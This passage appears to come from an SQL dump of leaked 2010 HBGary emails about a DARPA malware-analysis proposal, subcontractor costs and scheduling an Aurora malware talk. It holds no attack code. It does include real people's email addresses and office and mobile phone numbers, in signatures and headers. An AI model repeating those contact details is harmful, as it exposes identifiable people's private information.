&nbsp;Our research will focus on\r\n     building the malware behavior and function inference models to do the\r\n     automated analysis of malware.\r\n Cyber Physiology Profile.\r\n     &nbsp;These profiles are the output of the analysis processes and contain\r\n     both mathmatical and human readable representations (fingerprints) of a\r\n     specimens aggregate functions, behaviors, and intent. &nbsp;These profiles\r\n     are stored in the repository for future quick retrieval.\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5124,'aaron_hbgary_com/5124.html'),(4245,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002265.M443003P3547Q4245.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','I owe you info for DARPA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Ted and Chris,\r\n\r\n&nbsp;\r\n\r\nMy plan was to work late and crank out what you need from\r\nme.&nbsp; Problem is that I&#8217;m sick with a virus and need to go to bed.&nbsp;\r\nSorry.&nbsp; I&#8217;ve been pushing hard and it has caught up to me.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',158,'aaron_hbgary_com/158.html'),(4246,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002265.M620305P3547Q4246.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Gregs Bio for GD','Aaron,\r\n\r\nShould I simply add to Greg\'s bio, or do they also want me to delete other\r\ninfo?\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 8:29 AM\r\nTo: Bob Slapnik\r\nSubject: Gregs Bio for GD\r\n\r\nHi Bob,\r\n\r\nA request was made that we need to add to Gregs Bio things that are more\r\nrelevant to the cyber genome effort.  This should be hard.  DDNA, Responder,\r\nBehavioral analysis techniques, etc.\r\n\r\nCan you do this?  I am not sure if I have the most updated copy of what was\r\nsent to GD.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.790 / Virus Database: 271.1.1/2749 - Release Date: 03/16/10\r\n03:33:00\r\n\r\n',14217,'aaron_hbgary_com/14217.html'),(4247,'2010-03-19','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297002267.M582942P3547Q4247.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: 2nd Draft RFP','Aaron,\r\n\r\nHere is the sanitized cost proposal for Task 3 for Pikewerks.  It has\r\nbeen updated using GDAIS\' latest template (to include travel).\r\n\r\nThanks\r\n-- Adam\r\n\r\nOn 3/18/10 12:47 AM, Aaron Barr wrote:\r\n> Guys,\r\n> \r\n> Attached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n> \r\n> Thanks\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n',1423,'aaron_hbgary_com/1423.html'),(4248,'2010-03-19','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002267.M789268P3547Q4248.eml','\"Barr Aaron\" <aaron@hbgary.com>','Macworld Device converts aircraft audio out to iPhone power | Accessories','http://www.macworld.com/article/58765/2007/07/inflight.html\r\n\r\n\r\n\r\n',3074,'aaron_hbgary_com/3074.html'),(4249,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002268.M264981P3547Q4250.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Technical Approach','Good comments. &nbsp;Thanks Bob, I will incorporate.AaronOn Mar 18, 2010, at 8:27 PM, Bob Slapnik wrote:Aaron,&nbsp;My comments are to mostly point out things that may be unclear to the reader……….&nbsp;When you say “combination of static memory and runtime analysis” it is a bit unclear mainly because the term “static memory” doesn’t mean anything unless you define it first.&nbsp; Keep in mind, this whole concept of running the malware, imaging the memory, reconstructing memory, then analyzing both the memory image and the extracted binaries is a completely new paradigm.&nbsp; HBGary invented this methodology so it isn’t that widespread.&nbsp; After we started the trend, Volatility and Memoryze added features to extract binaries then throw them into IDA Pro.&nbsp;&nbsp;I’d like to see the language make it more clear.&nbsp; Yes, we statically analyze memory snapshots and binaries extracted from memory, but I think the casual reader will miss the point because we start with live systems and running malware.&nbsp;I’d rather you start off by discussing how traditional r/e methods require slow manual processes with expensive, non-scalable and unreliable experts who understand assembly code and low level OS and network stuff.&nbsp; This is true for·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional static analysis (taking files off filesystem, unpacking, IDA Pro, smart analyst), and·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional runtime analysis using debuggers.Our approach is different.&nbsp; We run the malware and harvest low level runtime data. Then after it has run for time t we suspend the system and snapshot physical memory.&nbsp; We combine data from the (1) running malware over time, (2) the binary at a point in time during execution, and (3) physical memory at a point in time.&nbsp;&nbsp;In the graphic, the words and flow chart don’t seem to be consistent for #4 SAVI.&nbsp; The words say you use it to look at traits and genomes once a specimen has been processed, so I would expect to see the analysis take place then see its visualization.&nbsp; The arrows are pointing away from SAVI.&nbsp;Wouldn’t SAVI be the user interface to the whole system?........ and therefore be where the user runs the system, has the control mechanisms and see info and pretty pictures?&nbsp;You show #5 Traits Library in the Manual section.&nbsp; Yes, we create traits manually today at HBGary, but couldn’t some of our work attempt to automatically create traits?&nbsp; Same with #6 Genomes Library – I thought that this contract wants malware genomes to be automatically developed.&nbsp; We could be shooting ourselves in the foot saying it is manual.&nbsp; Maybe we can say we start off organizing malware manually and as we learn we figure out how to do it automatically.&nbsp;I love the “SMART” acronym……. Not trying to throw ice on it, but the term “Static Memory Analysis” bugs me.&nbsp; By definition, memory is volatile so this could be extremely confusing to the reader.&nbsp; Yes, we are statically analyzing a memory image that was generated dynamically from a live machine.&nbsp; Historical static analysis = white box testing which is analyzing code that isn’t running.&nbsp; We are analyzing code that WAS RUNNING – furthermore, we are analyzing the code within the context of the memory soup in which it lives.&nbsp; We have a new paradigm but we are using old words to describe it, and those old words carry old meanings that give the wrong impression.&nbsp; But no doubt, I see you grabbing at how to tell the reader that we are combining multiple kinds of analysis within one framework.&nbsp;BRAIN made me laugh because SMART and BRAIN go so well together.&nbsp; Yeah, brain and reasoning go together so well.&nbsp; Very clever.&nbsp; You must be good a writing winning proposals.&nbsp; Makes sense……. SMART collects low level info.&nbsp; BRAIN makes sense out of it.&nbsp; Then after BRAIN there needs to be a mechanism from Secure Decisions to convert into visualization.&nbsp;The arrows on the chart confuse me.&nbsp; Might be nice to annotate with some descriptive info that tell what happens between blocks.&nbsp;Make sure to send content to Martin too.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 4:52 PMTo:&nbsp;Greg Hoglund; Rich Cummings; Bob SlapnikCc:&nbsp;Ted VeraSubject:&nbsp;Technical Approach&nbsp;All,&nbsp;We are coming to the final stretches of the Darpa proposal. &nbsp;Our schedule is a Pink Team review on Monday and a Red Team review on Wednesday. &nbsp;I will be sending you sections to review when you have time. &nbsp;Please comment, add content, etc. &nbsp;After this document there is a detailed Technical approach document that has all of the more researchy technical details. &nbsp;I will be sending that one out tomorrow or over the weekend. &nbsp;The Technical approach below is to lay out the framework our approach and why it is innovative and unique, and to describe the various research areas. &nbsp;Each of the blocks is a research area, some will have more research than others.&nbsp;Thanks,Aaron&nbsp;&nbsp;While the focus of this effort is to conduct revolutionary research in key areas related to automated malware analysis for behavior, function, and intent, we believe it is important to structure this research within an operational framework that is maintainable and functional over time as the science of malware analysis matures. &nbsp;Our approach provides for continual improvement and illustrates how the individual research areas fit within this operational framework.&nbsp;There are many valid methods for conducting malware analysis and deriving malware functionality, behaviors, and purpose. &nbsp;However some are likely to yield more accurate and efficient results than others. &nbsp;The HBGary team has extensive experience and expertise in malware analysis, including detection of malware based on exhibited functionality and behaviors, and delivering market leading capability in this area. &nbsp;Based on our extensive experience we believe the best approach for analysis to satisfy the requirements of the cyber genome project is a combination of static memory and runtime analysis. &nbsp;Static file analysis probably still represents the largest portion of malware analysis conducted in organizations today, but this technique is wrought with growing problems as malware finds increasingly complex ways to protect itself from static file analysis techniques, and the mechanisms used to defeat file-based malware security greatly lengthens the time for complete analysis. &nbsp;No matter the security techniques used on the filesystem, to be effective, the malware has to run and when it runs it does so in the clear. &nbsp;Static memory analysis is a methodology where you take a snapshot of memory and analyze the static contents of that snapshot. &nbsp;Nearly all malware is small enough that the entire execution space is captured in a single memory snapshot. &nbsp;But there are some limitations to static memory analysis, such as ..., which is why we will also monitor the execution of the software within a sandbox. &nbsp;The resulting combination of the two analysis techniques will give us a nearly complete picture of the linear execution of any piece of software. &nbsp;As mentioned this only covers the linear execution space of the analyzed software, which in most cases is all that is needed, for completeness, we will conduct research in expanding the execution paths of running programs that require specific IO input or environment conditions for specific branch executions.&nbsp;Fig. 1, illustrates our malware analysis framework, which emphasizes a fully automated malware analysis process enhanced by manual analysis to develop new traits and sequences for flagged unknown functions and behaviors. &nbsp;The end goal is to develop and mature an automated malware analysis system that can recognize new traits or trait patterns automatically and classify and categorize them, or if it can not flag for manual analysis, and update the trait and genome libraries. Using an iterative static memory and runtime analysis approach to smartly execute as much of the code as possible for analysis. &nbsp;The Specimen repository will be continually updated with specimen data through the analysis process, to include a full malware physiology profile. &nbsp;The physiology profile will contain mathematical and visual representations of the malware as well as a human readable summary of the malware\'s overall and more detailed behaviors, functions, and purpose.&nbsp;&nbsp;&lt;image001.png&gt;&nbsp;Fig. 1: Cyber Physiology Analysis Framework&nbsp;Cyber Physiology Analysis Framework:&nbsp;Specimen Feeds/Harvester/Samples. &nbsp;Subscriptions to Malware feeds to continually populate our specimen repository and continually exercise our automated malware analysis framework. &nbsp;HBGary currently subscribes to multiple feeds and processes around 20,000 new malware samples per day using our automated malware analysis and detection technology. &nbsp;In addition we propse to research methods for identifying and collecting emergent malware specimens.Pre-processor. &nbsp;Provides external analysis and instrumentation for all incoming specimens. &nbsp;In this phase, static binary analysis is performed, automated over time, unpacking, de-obfuscating, reconstructing, and performing binary instrumentation to assist in further automated analysis. &nbsp;Some specimens of contemporary malware contain anti-analysis techniques, these techniques will likely increase over time. &nbsp;We will conduct research into binary pre-processing and instrumentation to identify and mitigate these techniques, and to normalize as much as possible all malware prior to execution. &nbsp;Once operationalized other inputs could be included into the pre-processor such as open source and intelligence information.Specimens Repository. This is the central repository for specimen raw files as well as analytical information collected during pre-processing and the analysis process. &nbsp;HBGary brings an existing malware repository, approximately 500GB of unique malware samples to start the effort. &nbsp;In this area we will conduct research for data format normalization and standardization for malware analysis results. &nbsp;Information maintained will include; specimen raw files, hard artifacts, associated traits and genomes, all low level data recorded through static and runtime analysis, and a full malware physiology profile.Specimen Analysis &amp; Visualization Interface (SAVI). &nbsp;Methodology for streamlined analysis to assist in identifying new traits and genomes as well as present malware physiology profiles once a specimen has been processed. Research will focus on visual representations of malware data to aid in analysis and understanding of malware\'s functions and behaviors and purpose. &nbsp;When there are function and behavior traits or genome sequences that are not fully understood by the automated system, those are flagged in the malware physiology profile stored in the specimen repository and scheduled for manual analysis. &nbsp;Both HBGary and Pikewerks have industry leading experience and products analyzing windows and linux-based malware. &nbsp;SecureDecisions is a market leader in developing advanced visualization capabilities for a variety of datasets.Traits (Gene) Library. &nbsp;Developed trait rules that represent discrete functions and behaviors of software. &nbsp;We propose the best methodology for understanding the aggregate functions, behaviors, and purpose of malware is to first identify and understand the discrete expressed parts of malware describe them in a way that can be classified and mathematically calculated. &nbsp;Both HBGary and Pikewerks have existing methodologies for detecting malware based on behavioral charateristics/traits. &nbsp;This unique knowledge will significantly aid in our research and development of traits for more complex behavioral and functional understanding.Genomes Library. &nbsp;Much like biological gene/trait sequences. &nbsp;To understand how a biological system works, or how genes are expressed within an aggregated system you need to understand the importances of sequences, ordering, and clustering of traits. &nbsp;Our research here will focus on identifying trait patterns that express an aggregated functionality or behavior. &nbsp;These are the algorithms and patterns used to develop the visual and mathematical graphs that examine the malwares overall function, purpose, severity.&nbsp; Develop behavior and function correlation engines and visual representations based on exhibited traits, external and environmental artifacts, space and temporal artifact relationships, sequencing, etc. (fuzzy hashing, etc.)Static Memory Analysis and Runtime Tracing Engine (SMART) - Uses a combination of static memory analysis and runtime tracing techniques to record as much of the malware internals as possible, including exercising as much of the full execution tree as possible. &nbsp;Our research will focus on full branch execution as well as automated analysis and tracing. &nbsp;HBGary and Pikwerks have existing semi-automated technologies that we can leverage for the research and development in this task.Bayesian Reasoning Analysis and Inference Node (BRAIN). &nbsp;As our understanding of malware internals and the relationships of traits and genomes matures we should be able to instrument something like a bayesian reasoning engine to automatically identify mutations within the genomes and classify those mutations to some degree without any manual analysis. &nbsp;Our research will focus on building the malware behavior and function inference models to do the automated analysis of malware.Cyber Physiology Profile. &nbsp;These profiles are the output of the analysis processes and contain both mathmatical and human readable representations (fingerprints) of a specimens aggregate functions, behaviors, and intent. &nbsp;These profiles are stored in the repository for future quick retrieval.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/18/10 03:33:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8177,'aaron_hbgary_com/8177.html'),(4250,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002268.M320P3547Q4249.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Gregs Bio for GD','If you could just add to it and repost or resend that would be great.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Mar 18, 2010, at 9:12 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> Should I simply add to Greg\'s bio, or do they also want me to delete other\r\n> info?\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 17, 2010 8:29 AM\r\n> To: Bob Slapnik\r\n> Subject: Gregs Bio for GD\r\n> \r\n> Hi Bob,\r\n> \r\n> A request was made that we need to add to Gregs Bio things that are more\r\n> relevant to the cyber genome effort.  This should be hard.  DDNA, Responder,\r\n> Behavioral analysis techniques, etc.\r\n> \r\n> Can you do this?  I am not sure if I have the most updated copy of what was\r\n> sent to GD.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.790 / Virus Database: 271.1.1/2749 - Release Date: 03/16/10\r\n> 03:33:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15849,'aaron_hbgary_com/15849.html'),(4251,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002270.M168109P3547Q4251.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: 2nd Draft RFP','So we nave Pikewerks and GD, need SRI and SecureDecisions.\r\n\r\nPikewerks - 1,982.000\r\nGD - 700,000\r\nSRI - 800\r\nSecure Decisions - 800,000 (approx)\r\nHBGary - 3,500,000\r\n\r\n7,782,000\r\n\r\nI think I would like to try and make some cuts to get closer to $7M.\r\n\r\nHave you looked at how much adminstrative crap GD has on their cost?  Wow.  I guess Northrop was that bad too.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Adam Fraser \r\n> Date: March 18, 2010 10:58:00 PM EDT\r\n> To: Aaron Barr \r\n> Cc: Irby Thompson \r\n> Subject: Re: 2nd Draft RFP\r\n> \r\n> Aaron,\r\n> \r\n> Here is the sanitized cost proposal for Task 3 for Pikewerks.  It has\r\n> been updated using GDAIS\' latest template (to include travel).\r\n> \r\n> Thanks\r\n> -- Adam\r\n> \r\n> On 3/18/10 12:47 AM, Aaron Barr wrote:\r\n>> Guys,\r\n>> \r\n>> Attached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n>> \r\n>> Thanks\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13480,'aaron_hbgary_com/13480.html'),(4252,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002270.M415292P3547Q4252.eml','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','RE: What was the Tech Tuesday date?','Tim,\r\n\r\nIt is up to Phil and/or Aaron.  They are copied on this email.  Phil/Aaron\r\n-- I need a yes or no if you\'ll do this Aurora talk.  If yes, Tim is also\r\ntrying to nail down a date.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com] \r\nSent: Wednesday, March 17, 2010 3:41 PM\r\nTo: Bob Slapnik; Phil Wallisch; Aaron Barr\r\nCc: Sheldon, Scott W.\r\nSubject: RE: What was the Tech Tuesday date?\r\n\r\nBob,\r\n\r\nJust left you a voice mail trying to follow up on this talk.\r\n\r\nI\'d like to set the date and start generating some interest so you get a\r\ngood turnout.\r\n\r\nPlease let us know if you can participate and which day is best.\r\n\r\nThanks.\r\n\r\nTim. \r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Thursday, March 04, 2010 8:32 PM\r\nTo: Estell, Timothy W.; \'Phil Wallisch\'; \'Aaron Barr\'\r\nCc: Sheldon, Scott W.\r\nSubject: RE: What was the Tech Tuesday date?\r\n\r\nPhil and Aaron,\r\n\r\nSAIC invited HBGary to speak on the Aurora malware and our analysis of\r\nit on April 13 or 20.  They plan to have John from EndGames be there\r\ntoo.  HBGary and EndGames could speak separately or together.  My sense\r\nis that this will be an informal gathering that will not require much\r\nprep work.  The audience will be around 20 people and mostly SAIC\r\nsubcontractors interested in malware, which sounds like our kind of\r\naudience.\r\n\r\nPlease let me know if you can participate.  SAIC is copied in this\r\nemail.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419 www.hbgary.com  |\r\nbob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com]\r\nSent: Wednesday, March 03, 2010 11:51 AM\r\nTo: bob@hbgary.com\r\nCc: Sheldon, Scott W.\r\nSubject: FW: What was the Tech Tuesday date?\r\n\r\nBob,\r\n\r\nCan you confirm you\'ll be able to present your Aurora data on the 13th\r\nor 20th of April?\r\n\r\nAnd have you talked to John at EndGames?\r\n\r\nI owe him a call on another matter anyway - I\'ll call him today.\r\n\r\nTim. \r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/17/10\r\n03:33:00\r\n\r\n',12726,'aaron_hbgary_com/12726.html'),(4253,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002270.M594187P3547Q4253.eml','\"Aaron Barr\" <aaron@hbgary.com>','Tim Estell','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n443-562-2039\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',921,'aaron_hbgary_com/921.html'),(4254,'2010-03-19','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297002270.M775027P3547Q4254.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: What was the Tech Tuesday date?','I cannot take this on.  I apologize.  There is just too much going on.\r\n\r\nSent from my iPhone\r\n\r\nOn Mar 19, 2010, at 7:54, \"Bob Slapnik\"  wrote:\r\n\r\n> Tim,\r\n>\r\n> It is up to Phil and/or Aaron.  They are copied on this email.  Phil/ \r\n> Aaron\r\n> -- I need a yes or no if you\'ll do this Aurora talk.  If yes, Tim is  \r\n> also\r\n> trying to nail down a date.\r\n>\r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com]\r\n> Sent: Wednesday, March 17, 2010 3:41 PM\r\n> To: Bob Slapnik; Phil Wallisch; Aaron Barr\r\n> Cc: Sheldon, Scott W.\r\n> Subject: RE: What was the Tech Tuesday date?\r\n>\r\n> Bob,\r\n>\r\n> Just left you a voice mail trying to follow up on this talk.\r\n>\r\n> I\'d like to set the date and start generating some interest so you  \r\n> get a\r\n> good turnout.\r\n>\r\n> Please let us know if you can participate and which day is best.\r\n>\r\n> Thanks.\r\n>\r\n> Tim.\r\n>\r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Thursday, March 04, 2010 8:32 PM\r\n> To: Estell, Timothy W.; \'Phil Wallisch\'; \'Aaron Barr\'\r\n> Cc: Sheldon, Scott W.\r\n> Subject: RE: What was the Tech Tuesday date?\r\n>\r\n> Phil and Aaron,\r\n>\r\n> SAIC invited HBGary to speak on the Aurora malware and our analysis of\r\n> it on April 13 or 20.  They plan to have John from EndGames be there\r\n> too.  HBGary and EndGames could speak separately or together.  My  \r\n> sense\r\n> is that this will be an informal gathering that will not require much\r\n> prep work.  The audience will be around 20 people and mostly SAIC\r\n> subcontractors interested in malware, which sounds like our kind of\r\n> audience.\r\n>\r\n> Please let me know if you can participate.  SAIC is copied in this\r\n> email.\r\n>\r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419 www.hbgary.com  |\r\n> bob@hbgary.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com]\r\n> Sent: Wednesday, March 03, 2010 11:51 AM\r\n> To: bob@hbgary.com\r\n> Cc: Sheldon, Scott W.\r\n> Subject: FW: What was the Tech Tuesday date?\r\n>\r\n> Bob,\r\n>\r\n> Can you confirm you\'ll be able to present your Aurora data on the 13th\r\n> or 20th of April?\r\n>\r\n> And have you talked to John at EndGames?\r\n>\r\n> I owe him a call on another matter anyway - I\'ll call him today.\r\n>\r\n> Tim.\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date:  \r\n> 03/17/10\r\n> 03:33:00\r\n>\r\n',5435,'aaron_hbgary_com/5435.html'),(4255,'2010-03-19','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','/aaron@hbgary.com/new/1297002270.M978111P3547Q4255.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>,,','RE: What was the Tech Tuesday date?','Scott,\r\n\r\nJust talked to Aaron. He\'d prefer the 20th but could do the 13th as\r\nwell.\r\n\r\nI\'ll ping Dino and EndGames to get them locked in.\r\n\r\nLast check we had the training room open on the 13th and the larger\r\nconference room open on the 20th. \r\n\r\nI\'ll need to confirm both are still available.\r\n\r\nTim. \r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Friday, March 19, 2010 8:54 AM\r\nTo: Estell, Timothy W.; \'Phil Wallisch\'; \'Aaron Barr\'\r\nCc: Sheldon, Scott W.\r\nSubject: RE: What was the Tech Tuesday date?\r\n\r\nTim,\r\n\r\nIt is up to Phil and/or Aaron.  They are copied on this email.\r\nPhil/Aaron\r\n-- I need a yes or no if you\'ll do this Aurora talk.  If yes, Tim is\r\nalso trying to nail down a date.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419 www.hbgary.com  |\r\nbob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com]\r\nSent: Wednesday, March 17, 2010 3:41 PM\r\nTo: Bob Slapnik; Phil Wallisch; Aaron Barr\r\nCc: Sheldon, Scott W.\r\nSubject: RE: What was the Tech Tuesday date?\r\n\r\nBob,\r\n\r\nJust left you a voice mail trying to follow up on this talk.\r\n\r\nI\'d like to set the date and start generating some interest so you get a\r\ngood turnout.\r\n\r\nPlease let us know if you can participate and which day is best.\r\n\r\nThanks.\r\n\r\nTim. \r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com]\r\nSent: Thursday, March 04, 2010 8:32 PM\r\nTo: Estell, Timothy W.; \'Phil Wallisch\'; \'Aaron Barr\'\r\nCc: Sheldon, Scott W.\r\nSubject: RE: What was the Tech Tuesday date?\r\n\r\nPhil and Aaron,\r\n\r\nSAIC invited HBGary to speak on the Aurora malware and our analysis of\r\nit on April 13 or 20.  They plan to have John from EndGames be there\r\ntoo.  HBGary and EndGames could speak separately or together.  My sense\r\nis that this will be an informal gathering that will not require much\r\nprep work.  The audience will be around 20 people and mostly SAIC\r\nsubcontractors interested in malware, which sounds like our kind of\r\naudience.\r\n\r\nPlease let me know if you can participate.  SAIC is copied in this\r\nemail.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419 www.hbgary.com  |\r\nbob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. [mailto:TIMOTHY.W.ESTELL@saic.com]\r\nSent: Wednesday, March 03, 2010 11:51 AM\r\nTo: bob@hbgary.com\r\nCc: Sheldon, Scott W.\r\nSubject: FW: What was the Tech Tuesday date?\r\n\r\nBob,\r\n\r\nCan you confirm you\'ll be able to present your Aurora data on the 13th\r\nor 20th of April?\r\n\r\nAnd have you talked to John at EndGames?\r\n\r\nI owe him a call on another matter anyway - I\'ll call him today.\r\n\r\nTim. \r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/17/10\r\n03:33:00\r\n\r\n',2803,'aaron_hbgary_com/2803.html'),(4256,'2010-03-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002271.M197936P3547Q4256.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Technical Approach','ok what do you mean extract binaries. &nbsp;We discussed this but I want to make sure I get it. &nbsp;What we are doing is extracting the various pieces of code in memory that represent a single binary and reconstructing those functions, pointers, etc. into something that looks like the binary or is representative of the binary in memory. &nbsp;We don\'t reconstruct it in the sense that it can be executed...AaronOn Mar 18, 2010, at 8:27 PM, Bob Slapnik wrote:Aaron,&nbsp;My comments are to mostly point out things that may be unclear to the reader……….&nbsp;When you say “combination of static memory and runtime analysis” it is a bit unclear mainly because the term “static memory” doesn’t mean anything unless you define it first.&nbsp; Keep in mind, this whole concept of running the malware, imaging the memory, reconstructing memory, then analyzing both the memory image and the extracted binaries is a completely new paradigm.&nbsp; HBGary invented this methodology so it isn’t that widespread.&nbsp; After we started the trend, Volatility and Memoryze added features to extract binaries then throw them into IDA Pro.&nbsp;&nbsp;I’d like to see the language make it more clear.&nbsp; Yes, we statically analyze memory snapshots and binaries extracted from memory, but I think the casual reader will miss the point because we start with live systems and running malware.&nbsp;I’d rather you start off by discussing how traditional r/e methods require slow manual processes with expensive, non-scalable and unreliable experts who understand assembly code and low level OS and network stuff.&nbsp; This is true for·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional static analysis (taking files off filesystem, unpacking, IDA Pro, smart analyst), and·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traditional runtime analysis using debuggers.Our approach is different.&nbsp; We run the malware and harvest low level runtime data. Then after it has run for time t we suspend the system and snapshot 